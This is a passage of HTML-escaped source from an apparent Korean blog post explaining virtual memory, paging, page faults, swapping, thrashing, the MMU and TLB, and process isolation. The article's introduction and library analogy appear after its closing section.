/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;│&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;▲ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;└────────&amp;nbsp;[&amp;nbsp;페이지&amp;nbsp;테이블&amp;nbsp;]&amp;nbsp;───────────┘ &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;**페이지(Page)**:&amp;nbsp;가상&amp;nbsp;메모리를&amp;nbsp;일정한&amp;nbsp;고정&amp;nbsp;크기(표준적으로&amp;nbsp;**4KB**)의&amp;nbsp;조각으로&amp;nbsp;자른&amp;nbsp;단위입니다. &lt;br /&gt;2.&amp;nbsp;**프레임(Frame)**:&amp;nbsp;실제&amp;nbsp;물리&amp;nbsp;RAM을&amp;nbsp;페이지와&amp;nbsp;똑같은&amp;nbsp;크기(4KB)로&amp;nbsp;바둑판처럼&amp;nbsp;나눈&amp;nbsp;단위입니다. &lt;br /&gt;3.&amp;nbsp;**페이지&amp;nbsp;테이블(Page&amp;nbsp;Table)**:&amp;nbsp;&quot;가상&amp;nbsp;주소의&amp;nbsp;Page&amp;nbsp;0번이&amp;nbsp;실제&amp;nbsp;물리&amp;nbsp;RAM의&amp;nbsp;Frame&amp;nbsp;몇&amp;nbsp;번에&amp;nbsp;들어가&amp;nbsp;있는가?&quot;를&amp;nbsp;1:1로&amp;nbsp;기록해&amp;nbsp;둔&amp;nbsp;내비게이션&amp;nbsp;지도입니다. &lt;br /&gt;&lt;br /&gt;이제&amp;nbsp;프로그램&amp;nbsp;조각들이&amp;nbsp;물리&amp;nbsp;RAM의&amp;nbsp;어느&amp;nbsp;위치에&amp;nbsp;뒤죽박죽&amp;nbsp;흩어져&amp;nbsp;저장되어&amp;nbsp;있더라도&amp;nbsp;아무&amp;nbsp;상관이&amp;nbsp;없습니다!&amp;nbsp; &lt;br /&gt;CPU는&amp;nbsp;단지&amp;nbsp;페이지&amp;nbsp;테이블&amp;nbsp;지도만&amp;nbsp;보고&amp;nbsp;번개처럼&amp;nbsp;찾아갈&amp;nbsp;수&amp;nbsp;있기&amp;nbsp;때문입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp;⚡&amp;nbsp;3.&amp;nbsp;페이지&amp;nbsp;폴트(Page&amp;nbsp;Fault)와&amp;nbsp;스왑(Swap)의&amp;nbsp;드라마 &lt;br /&gt;&lt;br /&gt;프로그램이&amp;nbsp;열심히&amp;nbsp;실행되다가,&amp;nbsp;마침내&amp;nbsp;아직&amp;nbsp;물리&amp;nbsp;RAM에&amp;nbsp;올라오지&amp;nbsp;않은&amp;nbsp;새로운&amp;nbsp;가상&amp;nbsp;메모리&amp;nbsp;페이지(예:&amp;nbsp;보스&amp;nbsp;던전&amp;nbsp;맵)를&amp;nbsp;읽으려고&amp;nbsp;하는&amp;nbsp;순간이&amp;nbsp;찾아옵니다. &lt;br /&gt;&lt;br /&gt;이때&amp;nbsp;어떤&amp;nbsp;일이&amp;nbsp;벌어질까요? &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;1.&amp;nbsp;CPU가&amp;nbsp;가상&amp;nbsp;주소&amp;nbsp;접근&amp;nbsp;시도 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;▼ &lt;br /&gt;2.&amp;nbsp;MMU(메모리&amp;nbsp;관리&amp;nbsp;장치)가&amp;nbsp;페이지&amp;nbsp;테이블&amp;nbsp;확인 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;➔&amp;nbsp;&quot;어라?&amp;nbsp;이&amp;nbsp;페이지는&amp;nbsp;지금&amp;nbsp;물리&amp;nbsp;RAM에&amp;nbsp;없고&amp;nbsp;SSD에&amp;nbsp;있네?&quot;&amp;nbsp;(유효&amp;nbsp;비트&amp;nbsp;=&amp;nbsp;0) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;▼ &lt;br /&gt;3.&amp;nbsp;CPU에게&amp;nbsp;인터럽트&amp;nbsp;신호&amp;nbsp;발생!&amp;nbsp;➔&amp;nbsp;[&amp;nbsp;페이지&amp;nbsp;폴트&amp;nbsp;(Page&amp;nbsp;Fault)&amp;nbsp;] &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;▼ &lt;br /&gt;4.&amp;nbsp;운영체제(OS)가&amp;nbsp;하던&amp;nbsp;일을&amp;nbsp;멈추고&amp;nbsp;개입 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;➔&amp;nbsp;SSD(지하&amp;nbsp;서고)에서&amp;nbsp;해당&amp;nbsp;4KB&amp;nbsp;페이지를&amp;nbsp;읽어&amp;nbsp;물리&amp;nbsp;RAM의&amp;nbsp;빈&amp;nbsp;곳에&amp;nbsp;적재 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;▼ &lt;br /&gt;5.&amp;nbsp;페이지&amp;nbsp;테이블에&amp;nbsp;&quot;이제&amp;nbsp;물리&amp;nbsp;RAM&amp;nbsp;몇&amp;nbsp;번에&amp;nbsp;있음!&quot;&amp;nbsp;갱신&amp;nbsp;후&amp;nbsp;CPU&amp;nbsp;재실행 &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;*&amp;nbsp;**페이지&amp;nbsp;폴트(Page&amp;nbsp;Fault)**:&amp;nbsp;오류(Fault)라는&amp;nbsp;이름이&amp;nbsp;붙어있어&amp;nbsp;고장&amp;nbsp;같지만,&amp;nbsp;지극히&amp;nbsp;정상적인&amp;nbsp;과정입니다.&amp;nbsp;&quot;필요한&amp;nbsp;조각이&amp;nbsp;책상에&amp;nbsp;없으니&amp;nbsp;서고에서&amp;nbsp;가져오라&quot;고&amp;nbsp;OS에&amp;nbsp;신호를&amp;nbsp;주는&amp;nbsp;알람입니다. &lt;br /&gt;*&amp;nbsp;**스왑(Swapping)**:&amp;nbsp;만약&amp;nbsp;16GB&amp;nbsp;실제&amp;nbsp;물리&amp;nbsp;RAM이&amp;nbsp;이미&amp;nbsp;다른&amp;nbsp;앱들로&amp;nbsp;꽉&amp;nbsp;차서&amp;nbsp;빈자리가&amp;nbsp;없다면? &lt;br /&gt;&amp;nbsp;&amp;nbsp;OS는&amp;nbsp;현재&amp;nbsp;가장&amp;nbsp;오랫동안&amp;nbsp;쓰이지&amp;nbsp;않은&amp;nbsp;페이지(LRU&amp;nbsp;알고리즘&amp;nbsp;등)를&amp;nbsp;골라내어&amp;nbsp;SSD의&amp;nbsp;임시&amp;nbsp;저장소(**스왑&amp;nbsp;영역&amp;nbsp;/&amp;nbsp;가상&amp;nbsp;메모리&amp;nbsp;파일**)로&amp;nbsp;쫓아내고,&amp;nbsp;그&amp;nbsp;빈자리에&amp;nbsp;새&amp;nbsp;페이지를&amp;nbsp;채워&amp;nbsp;넣습니다. &lt;br /&gt;&lt;br /&gt;&amp;gt;&amp;nbsp; &amp;nbsp;**컴퓨터가&amp;nbsp;갑자기&amp;nbsp;버벅거리는&amp;nbsp;'스로틀링/트래싱(Thrashing)'&amp;nbsp;현상**&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;gt;&amp;nbsp;너무&amp;nbsp;많은&amp;nbsp;무거운&amp;nbsp;프로그램을&amp;nbsp;동시에&amp;nbsp;켜두면,&amp;nbsp;OS가&amp;nbsp;실제&amp;nbsp;작업을&amp;nbsp;처리하는&amp;nbsp;시간보다&amp;nbsp;물리&amp;nbsp;RAM과&amp;nbsp;SSD&amp;nbsp;사이에서&amp;nbsp;페이지를&amp;nbsp;쫓아내고&amp;nbsp;가져오는&amp;nbsp;'스왑(Swap)'&amp;nbsp;작업에&amp;nbsp;CPU&amp;nbsp;시간을&amp;nbsp;전부&amp;nbsp;써버리는&amp;nbsp;대참사가&amp;nbsp;일어납니다.&amp;nbsp;이를&amp;nbsp;**스래싱(Thrashing)**이라고&amp;nbsp;부르며,&amp;nbsp;이때&amp;nbsp;우리는&amp;nbsp;&quot;컴퓨터가&amp;nbsp;멈췄다&quot;고&amp;nbsp;느끼게&amp;nbsp;됩니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;4.&amp;nbsp;MMU와&amp;nbsp;TLB&amp;nbsp;-&amp;nbsp;0.00000001초&amp;nbsp;만에&amp;nbsp;주소를&amp;nbsp;바꾸는&amp;nbsp;하드웨어 &lt;br /&gt;&lt;br /&gt;가상&amp;nbsp;주소를&amp;nbsp;실제&amp;nbsp;물리&amp;nbsp;주소로&amp;nbsp;매번&amp;nbsp;변환하려면&amp;nbsp;메모리에&amp;nbsp;있는&amp;nbsp;페이지&amp;nbsp;테이블을&amp;nbsp;두&amp;nbsp;번이나&amp;nbsp;조회해야&amp;nbsp;하므로&amp;nbsp;컴퓨터&amp;nbsp;속도가&amp;nbsp;반토막&amp;nbsp;날&amp;nbsp;수&amp;nbsp;있습니다. &lt;br /&gt;&lt;br /&gt;이를&amp;nbsp;막기&amp;nbsp;위해&amp;nbsp;CPU&amp;nbsp;속에는&amp;nbsp;초고속&amp;nbsp;하드웨어&amp;nbsp;칩셋인&amp;nbsp;**MMU(Memory&amp;nbsp;Management&amp;nbsp;Unit)**와,&amp;nbsp;페이지&amp;nbsp;변환&amp;nbsp;지도를&amp;nbsp;미리&amp;nbsp;캐싱해&amp;nbsp;두는&amp;nbsp;초고속&amp;nbsp;캐시&amp;nbsp;메모리&amp;nbsp;**TLB(Translation&amp;nbsp;Lookaside&amp;nbsp;Buffer)**가&amp;nbsp;내장되어&amp;nbsp;있습니다. &lt;br /&gt;&lt;br /&gt;TLB&amp;nbsp;덕분에&amp;nbsp;컴퓨터는&amp;nbsp;99%의&amp;nbsp;확률로&amp;nbsp;가상&amp;nbsp;주소를&amp;nbsp;물리&amp;nbsp;주소로&amp;nbsp;나노초&amp;nbsp;단위의&amp;nbsp;초광속&amp;nbsp;변환을&amp;nbsp;수행하며,&amp;nbsp;우리는&amp;nbsp;가상&amp;nbsp;메모리를&amp;nbsp;쓰고&amp;nbsp;있다는&amp;nbsp;사실조차&amp;nbsp;눈치채지&amp;nbsp;못합니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; ️&amp;nbsp;5.&amp;nbsp;가상&amp;nbsp;메모리가&amp;nbsp;주는&amp;nbsp;가장&amp;nbsp;위대한&amp;nbsp;선물:&amp;nbsp;'완벽한&amp;nbsp;보안&amp;nbsp;격리' &lt;br /&gt;&lt;br /&gt;가상&amp;nbsp;메모리는&amp;nbsp;단순히&amp;nbsp;용량을&amp;nbsp;뻥튀기해&amp;nbsp;주는&amp;nbsp;기능에&amp;nbsp;그치지&amp;nbsp;않습니다.&amp;nbsp;소프트웨어&amp;nbsp;안정성에&amp;nbsp;있어서&amp;nbsp;가장&amp;nbsp;결정적인&amp;nbsp;기여를&amp;nbsp;합니다. &lt;br /&gt;&lt;br /&gt;*&amp;nbsp;**프로세스&amp;nbsp;메모리&amp;nbsp;침범&amp;nbsp;불가**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;카카오톡과&amp;nbsp;엑셀이&amp;nbsp;동시에&amp;nbsp;실행&amp;nbsp;중일&amp;nbsp;때,&amp;nbsp;해킹&amp;nbsp;프로그램이&amp;nbsp;엑셀의&amp;nbsp;가상&amp;nbsp;메모리&amp;nbsp;주소를&amp;nbsp;훔쳐보려&amp;nbsp;해도&amp;nbsp;서로의&amp;nbsp;'페이지&amp;nbsp;테이블&amp;nbsp;지도'가&amp;nbsp;완전히&amp;nbsp;격리되어&amp;nbsp;있기&amp;nbsp;때문에&amp;nbsp;남의&amp;nbsp;물리&amp;nbsp;메모리를&amp;nbsp;절대&amp;nbsp;훔쳐보거나&amp;nbsp;조작할&amp;nbsp;수&amp;nbsp;없습니다. &lt;br /&gt;*&amp;nbsp;**블루스크린의&amp;nbsp;최소화**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;한&amp;nbsp;프로그램이&amp;nbsp;버그로&amp;nbsp;엉뚱한&amp;nbsp;메모리&amp;nbsp;번지를&amp;nbsp;건드리면,&amp;nbsp;OS는&amp;nbsp;즉시&amp;nbsp;해당&amp;nbsp;프로그램에&amp;nbsp;'세그멘테이션&amp;nbsp;폴트(Segmentation&amp;nbsp;Fault)'를&amp;nbsp;던져&amp;nbsp;그&amp;nbsp;앱만&amp;nbsp;안전하게&amp;nbsp;강제&amp;nbsp;종료시키고,&amp;nbsp;컴퓨터&amp;nbsp;전체가&amp;nbsp;꺼지는&amp;nbsp;참사를&amp;nbsp;막아줍니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3줄&amp;nbsp;핵심&amp;nbsp;요약 &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;**가상&amp;nbsp;메모리**는&amp;nbsp;물리&amp;nbsp;RAM&amp;nbsp;용량의&amp;nbsp;한계를&amp;nbsp;극복하고,&amp;nbsp;프로그램에게&amp;nbsp;광활하고&amp;nbsp;독립적인&amp;nbsp;가상&amp;nbsp;공간을&amp;nbsp;제공하는&amp;nbsp;현대&amp;nbsp;OS의&amp;nbsp;핵심&amp;nbsp;기술이다. &lt;br /&gt;2.&amp;nbsp;**페이징(Paging)**을&amp;nbsp;통해&amp;nbsp;프로그램을&amp;nbsp;4KB&amp;nbsp;단위의&amp;nbsp;균일한&amp;nbsp;조각(Page)으로&amp;nbsp;쪼개어&amp;nbsp;물리&amp;nbsp;메모리(Frame)의&amp;nbsp;빈자리&amp;nbsp;어디든&amp;nbsp;자유롭게&amp;nbsp;채워&amp;nbsp;넣는다. &lt;br /&gt;3.&amp;nbsp;당장&amp;nbsp;필요한&amp;nbsp;조각만&amp;nbsp;RAM에&amp;nbsp;올리고&amp;nbsp;나머지는&amp;nbsp;SSD에&amp;nbsp;두었다가,&amp;nbsp;필요할&amp;nbsp;때&amp;nbsp;**페이지&amp;nbsp;폴트(Page&amp;nbsp;Fault)**를&amp;nbsp;통해&amp;nbsp;초고속으로&amp;nbsp;교체&amp;nbsp;적재한다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;다음&amp;nbsp;편&amp;nbsp;예고 &lt;br /&gt;&lt;br /&gt;가상&amp;nbsp;메모리를&amp;nbsp;통해&amp;nbsp;하나의&amp;nbsp;컴퓨터&amp;nbsp;안에서&amp;nbsp;프로세스들이&amp;nbsp;안전하고&amp;nbsp;풍요롭게&amp;nbsp;메모리를&amp;nbsp;쓰는&amp;nbsp;법을&amp;nbsp;배웠습니다.&amp;nbsp;그렇다면&amp;nbsp;**전&amp;nbsp;세계에&amp;nbsp;흩어진&amp;nbsp;수억&amp;nbsp;대의&amp;nbsp;컴퓨터들은&amp;nbsp;서로&amp;nbsp;어떻게&amp;nbsp;데이터를&amp;nbsp;손실&amp;nbsp;없이&amp;nbsp;초고속으로&amp;nbsp;주고받을&amp;nbsp;수&amp;nbsp;있을까요?** &lt;br /&gt;&lt;br /&gt;다음&amp;nbsp;편에서는&amp;nbsp;인터넷&amp;nbsp;통신의&amp;nbsp;대동맥이자&amp;nbsp;웹&amp;nbsp;페이지&amp;nbsp;로딩&amp;nbsp;속도를&amp;nbsp;혁명적으로&amp;nbsp;바꾼&amp;nbsp;**[HTTP/2와&amp;nbsp;HTTP/3(QUIC)의&amp;nbsp;혁신&amp;nbsp;-&amp;nbsp;웹&amp;nbsp;속도가&amp;nbsp;3배&amp;nbsp;빨라진&amp;nbsp;비밀]**을&amp;nbsp;명쾌하게&amp;nbsp;파헤쳐&amp;nbsp;보겠습니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;50GB&amp;nbsp;게임을&amp;nbsp;돌릴까? &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;들어가며&amp;nbsp;-&amp;nbsp;16GB&amp;nbsp;컴퓨터에서&amp;nbsp;50GB&amp;nbsp;게임이&amp;nbsp;실행되는&amp;nbsp;마법 &lt;br /&gt;&lt;br /&gt;지난&amp;nbsp;글에서&amp;nbsp;우리는&amp;nbsp;컴퓨터가&amp;nbsp;여러&amp;nbsp;프로그램을&amp;nbsp;동시에&amp;nbsp;실행하기&amp;nbsp;위해&amp;nbsp;독립된&amp;nbsp;실행&amp;nbsp;단위인&amp;nbsp;**프로세스(Process)**와&amp;nbsp;작업&amp;nbsp;단위인&amp;nbsp;**스레드(Thread)**를&amp;nbsp;운영체제(OS)가&amp;nbsp;어떻게&amp;nbsp;스케줄링하는지&amp;nbsp;알아보았습니다.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;모든&amp;nbsp;프로그램은&amp;nbsp;실행되기&amp;nbsp;위해&amp;nbsp;반드시&amp;nbsp;주기억장치인&amp;nbsp;**RAM(메모리)**에&amp;nbsp;올라가야&amp;nbsp;합니다.&amp;nbsp;그런데&amp;nbsp;여기서&amp;nbsp;한&amp;nbsp;가지&amp;nbsp;거대한&amp;nbsp;의문이&amp;nbsp;생깁니다. &lt;br /&gt;&lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;내&amp;nbsp;컴퓨터의&amp;nbsp;실제&amp;nbsp;RAM&amp;nbsp;용량은&amp;nbsp;16GB뿐인데,&amp;nbsp;어떻게&amp;nbsp;50GB가&amp;nbsp;넘는&amp;nbsp;고사양&amp;nbsp;3D&amp;nbsp;게임을&amp;nbsp;켜두고&amp;nbsp;웹&amp;nbsp;브라우저&amp;nbsp;탭을&amp;nbsp;30개씩&amp;nbsp;띄워도&amp;nbsp;컴퓨터가&amp;nbsp;다운되지&amp;nbsp;않고&amp;nbsp;돌아갈까?&quot;** &lt;br /&gt;&lt;br /&gt;과거의&amp;nbsp;초기&amp;nbsp;컴퓨터였다면&amp;nbsp;이는&amp;nbsp;물리적으로&amp;nbsp;불가능했습니다.&amp;nbsp;16GB&amp;nbsp;메모리에&amp;nbsp;50GB짜리&amp;nbsp;프로그램을&amp;nbsp;올리려고&amp;nbsp;하면&amp;nbsp;&quot;메모리&amp;nbsp;부족(Out&amp;nbsp;of&amp;nbsp;Memory)&quot;&amp;nbsp;에러를&amp;nbsp;뿜으며&amp;nbsp;컴퓨터가&amp;nbsp;즉시&amp;nbsp;멈춰&amp;nbsp;섰습니다. &lt;br /&gt;&lt;br /&gt;하지만&amp;nbsp;오늘날&amp;nbsp;우리는&amp;nbsp;아무런&amp;nbsp;걱정&amp;nbsp;없이&amp;nbsp;수십&amp;nbsp;기가바이트의&amp;nbsp;거대한&amp;nbsp;소프트웨어를&amp;nbsp;실행합니다.&amp;nbsp;심지어&amp;nbsp;각&amp;nbsp;프로그램은&amp;nbsp;자기가&amp;nbsp;컴퓨터&amp;nbsp;메모리&amp;nbsp;전체(수&amp;nbsp;테라바이트)를&amp;nbsp;혼자서&amp;nbsp;독차지하고&amp;nbsp;있는&amp;nbsp;것처럼&amp;nbsp;착각하며&amp;nbsp;동작합니다. &lt;br /&gt;&lt;br /&gt;이&amp;nbsp;놀라운&amp;nbsp;마법을&amp;nbsp;가능하게&amp;nbsp;만든&amp;nbsp;현대&amp;nbsp;컴퓨터&amp;nbsp;공학의&amp;nbsp;최고&amp;nbsp;걸작,&amp;nbsp;바로&amp;nbsp;**가상&amp;nbsp;메모리(Virtual&amp;nbsp;Memory)**와&amp;nbsp;**페이징(Paging)**&amp;nbsp;기법입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;1.&amp;nbsp;가상&amp;nbsp;메모리의&amp;nbsp;일상&amp;nbsp;비유:&amp;nbsp;'도서관&amp;nbsp;책상'과&amp;nbsp;'지하&amp;nbsp;서고' &lt;br /&gt;&lt;br /&gt;가상&amp;nbsp;메모리의&amp;nbsp;작동&amp;nbsp;원리를&amp;nbsp;가장&amp;nbsp;직관적으로&amp;nbsp;이해하는&amp;nbsp;방법은&amp;nbsp;**거대한&amp;nbsp;국립&amp;nbsp;도서관**을&amp;nbsp;떠올리는&amp;nbsp;것입니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;+---------------------------------------------------------------+ &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[&amp;nbsp;국립&amp;nbsp;도서관&amp;nbsp;비유&amp;nbsp;]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;1,000페이지짜리&amp;nbsp;백과사전&amp;nbsp;(50GB&amp;nbsp;대형&amp;nbsp;프로그램&amp;nbsp;/&amp;nbsp;SSD&amp;nbsp;저장)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;│&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[당장&amp;nbsp;읽을&amp;nbsp;5페이지만&amp;nbsp;골라&amp;nbsp;책상에&amp;nbsp;펼침]&amp;nbsp;(Paging)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;▼&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;연구원의&amp;nbsp;1인용&amp;nbsp;작은&amp;nbsp;책상&amp;nbsp;(16GB&amp;nbsp;실제&amp;nbsp;물리&amp;nbsp;RAM)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;책상이&amp;nbsp;좁아도&amp;nbsp;당장&amp;nbsp;필요한&amp;nbsp;페이지만&amp;nbsp;올려두면&amp;nbsp;연구&amp;nbsp;가능!&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;다른&amp;nbsp;페이지가&amp;nbsp;필요하면?&amp;nbsp;➔&amp;nbsp;책상&amp;nbsp;위&amp;nbsp;안&amp;nbsp;보는&amp;nbsp;책을&amp;nbsp;서고로&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;보내고&amp;nbsp;새&amp;nbsp;페이지를&amp;nbsp;가져옴&amp;nbsp;(Page&amp;nbsp;Swap&amp;nbsp;&amp;amp;&amp;nbsp;Page&amp;nbsp;Fault)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;+---------------------------------------------------------------+ &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;*&amp;nbsp;**보조기억장치&amp;nbsp;(SSD&amp;nbsp;/&amp;nbsp;HDD)**:&amp;nbsp;수백만&amp;nbsp;권의&amp;nbsp;책을&amp;nbsp;영구&amp;nbsp;보관할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;넓디넓은&amp;nbsp;**지하&amp;nbsp;서고**입니다.&amp;nbsp;용량은&amp;nbsp;엄청나게&amp;nbsp;크지만,&amp;nbsp;지하까지&amp;nbsp;내려가서&amp;nbsp;책을&amp;nbsp;찾아오는&amp;nbsp;데&amp;nbsp;시간이&amp;nbsp;오래&amp;nbsp;걸립니다. &lt;br /&gt;*&amp;nbsp;**주기억장치&amp;nbsp;(물리&amp;nbsp;RAM)**:&amp;nbsp;연구원이&amp;nbsp;지금&amp;nbsp;당장&amp;nbsp;앉아서&amp;nbsp;책을&amp;nbsp;펼쳐놓고&amp;nbsp;읽는&amp;nbsp;**연구실&amp;nbsp;책상**입니다.&amp;nbsp;손만&amp;nbsp;뻗으면&amp;nbsp;바로&amp;nbsp;읽을&amp;nbsp;수&amp;nbsp;있어&amp;nbsp;엄청나게&amp;nbsp;빠르지만,&amp;nbsp;책상&amp;nbsp;면적이&amp;nbsp;좁아서&amp;nbsp;책&amp;nbsp;몇&amp;nbsp;권만&amp;nbsp;올려도&amp;nbsp;꽉&amp;nbsp;찹니다. &lt;br /&gt;&lt;br 